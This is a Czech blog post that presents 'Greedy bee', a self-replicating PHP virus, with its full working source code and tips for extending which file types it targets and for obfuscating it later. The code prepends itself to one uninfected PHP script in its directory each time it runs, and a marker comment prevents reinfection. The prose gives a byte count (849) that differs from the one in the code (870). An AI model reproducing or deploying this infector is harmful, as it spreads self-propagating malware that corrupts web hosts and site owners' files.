„Greedy bee“ je jednoduchý infektor PHP skritů, který vznikl na popud několika jedinců, které zajímalo, jak je možné, že jsou webové stránky na hostinzích masově infikovány roztodivnými kódy (hlavně PHP a JS). Kód nepředpokládá žádné překážky v podobě open_basedir, safe_mode, disabled functions atd. a nebsahuje ani žádné bypassy.

Při spuštění vždy infikuje pouze jeden skript, a to s koncovkami „php“, „php3“, „php4“, „php5“, „php6“, „phtml“. Rozšíření o další koncovky spočívá v editaci pole $koncovky. Obsahuje ochranu proti několikanásobné infekci. Při editaci kódu je potřeba změnit u řádky:

1
$inf = fread($fr, 849);

číselnou hodnotu, která říká, kolik bajtů má být funkcí načteno. Neúplně načtený kód bude dělat problémy 🙂

Celý koncept by šel výrazně zmenšit (čemuž jsem se chtěl vyhnout kvůli čitelnosti kódu), případně znepřehlednit pomocí metody obfuskace[1] (možná přidám časem).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php	
	/*Greedy bee*/
	error_reporting(0);
 
	$koncovky = array(".php", ".php3", ".php4", ".php5", ".php6", ".phtml");
	$dir = opendir(dirname(__FILE__));
	$ret = 0;
 
	while(($file = readdir($dir)) !== FALSE){
		foreach($koncovky as $k){
			if(strtolower(substr($file, -(strlen($k)))) == $k){
				$ret = Infect($file);
				break;
			}
		}
 
		if($ret){
			break;
		}
	}
 
	closedir($dir);
 
	function Infect($file){
		$swap = "";
		$inf = "";
 
		$fr = fopen($file, "r");
 
		if(filesize($file) <= 0){
			return 0;
		}
 
		$swap = fread($fr, filesize($file));
		fclose($fr);
 
		if(strstr($swap, "/*Greedy bee*/")){
			return 0;
		}
 
		$fr = fopen(__FILE__, "r");
		$inf = fread($fr, 870);
		fclose($fr);
 
		$fw = fopen($file, "w");
		$inf .= $swap;
		fwrite($fw, $inf);
		fclose($fw);
 
		return 1;
	}
?>

[1] – http://en.wikipedia.org/wiki/Obfuscated_code